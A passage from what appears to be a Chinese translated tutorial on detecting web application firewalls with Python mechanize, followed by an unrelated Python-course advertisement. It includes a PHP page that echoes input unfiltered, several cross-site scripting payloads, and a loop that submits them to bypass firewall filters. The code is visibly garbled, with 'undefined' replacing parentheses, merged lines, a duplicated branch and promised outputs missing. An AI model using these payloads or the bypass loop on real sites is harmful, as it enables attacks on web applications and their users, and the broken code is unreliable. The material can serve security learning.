<html>
<body>
Data from the form : <?php echo $_POST["data"]; ?><br>
</body>
</html>
步骤2:准备恶意请求!
检测防火墙存在的第二步是创建一个可以被防火墙阻止的恶意跨站脚本请求。我们将使用一个名为“Mechanize”的python模块
现在您了解了Mechanize,我们可以选择任何页面上提供的Web表单并提交请求。以下代码片段可用于做到这一点:
import mechanize as mecmalicious
Request = mec.Browser()
formName = 'waf'maliciousRequest.open("http://check.cyberpersons.com/crossSiteCheck.html")maliciousRequest.select_form(formName)
让我们明白这个代码行:
在第一行,我们导入了mechanize模块,并给它一个简称’mec’供以后参考。
要使用mechanize下载网页,需要实例化浏览器。我们已经在代码的第二行中做到了。
在第一步,我们定义了我们的HTML文档,其中表单名称为“waf”,我们需要告诉mechanize选择此表单提交,因此我们在名为formName的变量中使用此名称。
比我们打开这个URL,就像我们在浏览器中一样。页面打开后,我们填写表单并提交数据,因此页面的打开与此相同。
最后我们选择了使用’select_form’函数传递它’formName’变量的形式。
正如你可以在HTML源代码中看到的那样,这个表单只有一个输入字段,我们将在该字段中注入我们的payload,一旦我们收到响应,我们将检查它的字符串以检测是否存在Web应用防火墙。
步骤3:准备有效载荷
在我们的HTML文档中,我们使用以下代码指定了一个输入字段:
<input type =“text”name =“data”> <br>
您可以看到该字段的名称是“data”,我们可以使用以下代码定义此字段的输入:
crossSiteScriptingPayLoad = "<svg><script>alert`1`<p>"
maliciousRequest.form['data'] = crossSiteScriptingPayLoad
第一行将我们的有效载荷保存在变量中。
在第二行代码中,我们已将我们的有效内容分配给表单字段“数据”。
我们现在可以安全地提交此表格并检查答复。
步骤4:提交表单并记录回复
代码我将在此行提及后提交表单并记录回复:
maliciousRequest.submit()
response=maliciousRequest.response().read()
print response
提交表单
将响应保存在变量中。
打印回应。
由于我目前没有安装防火墙,所以我得到的响应是:
可以看到有效载荷被打印回我们,意味着应用程序代码中不存在过滤,并且由于没有防火墙,我们的请求也没有被阻止。
步骤5:检测防火墙的存在
名为“response”的变量包含从服务器获得的响应,我们可以使用响应来检测防火墙的存在。我们将尝试在本教程中检测到以下防火墙的存在。
WebKnight
mod_security
Dot Defender
看看我们如何用python代码实现这一点:
if response.find('WebKnight') >= 0:
print "Firewall detected: WebKnight"
elif response.find('Mod_Security') >= 0:
print "Firewall detected: Mod Security"
elif response.find('Mod_Security') >= 0:
print "Firewall detected: Mod Security"
elif response.find('dotDefender') >= 0:
print "Firewall detected: Dot Defender"
else:
print "No Firewall Present"
如果安装Web Knight防火墙并且我们的请求被阻止,响应字符串将在其中包含“WebKnight”,那么find函数将返回大于0的值,这意味着WebKnight防火墙存在。同样,我们也可以检查其他2个防火墙。
我们可以扩展这个小应用程序来检测多少个防火墙,但您必须知道响应行为。
使用强力来绕过防火墙过滤器
我在文章的开头提到,大多数防火墙都基于签名阻止请求。但是,您可以使用数千种方式构建payload。javascript比较复杂,我们可以列出有效负载,并尝试其中的每一个,记录每个响应并检查是否能够绕过防火墙。请注意,如果防火墙规则被明确定义,则此方法可能无法正常工作。让我们看看我们如何使用python来强爆:
listofPayloads = ['<dialog open="" onclose="alertundefined1)"><form method="dialog"><button>Close me!</button></form></dialog>', '<svg>
<script>prompt( 1)<i>', '<a href="javascript:alertundefined1)">CLICK ME<a>']
for payLoads in listofPayloads:
maliciousRequest = mec.Browserundefined)
formName = 'waf' maliciousRequest.openundefined"http://check.cyberpersons.com/crossSiteCheck.html") maliciousRequest.select_formundefinedformName) maliciousRequest.form['data'] = payLoads maliciousRequest.submitundefined)
response = maliciousRequest.responseundefined).readundefined)
if response.findundefined'WebKnight') >= 0:
print "Firewall detected: WebKnight"
elif response.findundefined'Mod_Security') >= 0:
print "Firewall detected: Mod Security"
elif response.findundefined'Mod_Security') >= 0:
print "Firewall detected: Mod Security"
elif response.findundefined'dotDefender') >= 0:
print "Firewall detected: Dot Defender"
else:
print "No Firewall Present"
在第一行,我们定义了3个有效载荷的列表,您可以扩展此列表,并根据需要添加多个有效负载。
然后在for循环中,我们做了与上面所做的相同的过程,但是这一次对于列表中的每个有效载荷。
收到响应后,我们再次比较看看防火墙是否存在。
因为我没有安装防火墙,我的输出是:
将HTML标签转换为Unicode或Hex实体
如果防火墙正在过滤html标签,如<>。我们可以发送相应的Unicode或Hex实体,看看它们是否被转换为原始形式,如果是这样,那么这也可能是一个入口点。以下代码可用于检查此过程:
文末有福利领取哦~
👉一、Python所有方向的学习路线
Python所有方向的技术点做的整理,形成各个领域的知识点汇总,它的用处就在于,你可以按照上面的知识点去找对应的学习资源,保证自己学得较为全面。
👉二、Python必备开发工具
👉三、Python视频合集
观看零基础学习视频,看视频学习是最快捷也是最有效果的方式,跟着视频中老师的思路,从基础到深入,还是很容易入门的。
👉 四、实战案例
光学理论是没用的,要学会跟着一起敲,要动手实操,才能将自己的所学运用到实际当中去,这时候可以搞点实战案例来学习。(文末领读者福利)
👉五、Python练习题
检查学习结果。
👉六、面试资料
我们学习Python必然是为了找到高薪的工作,下面这些面试题是来自阿里、腾讯、字节等一线互联网大厂最新的面试资料,并且有阿里大佬给出了权威的解答,刷完这一套面试资料相信大家都能找到满意的工作。
👉因篇幅有限,仅展示部分资料,这份完整版的Python全套学习资料已经上传
网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。
一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!
上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。**
一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!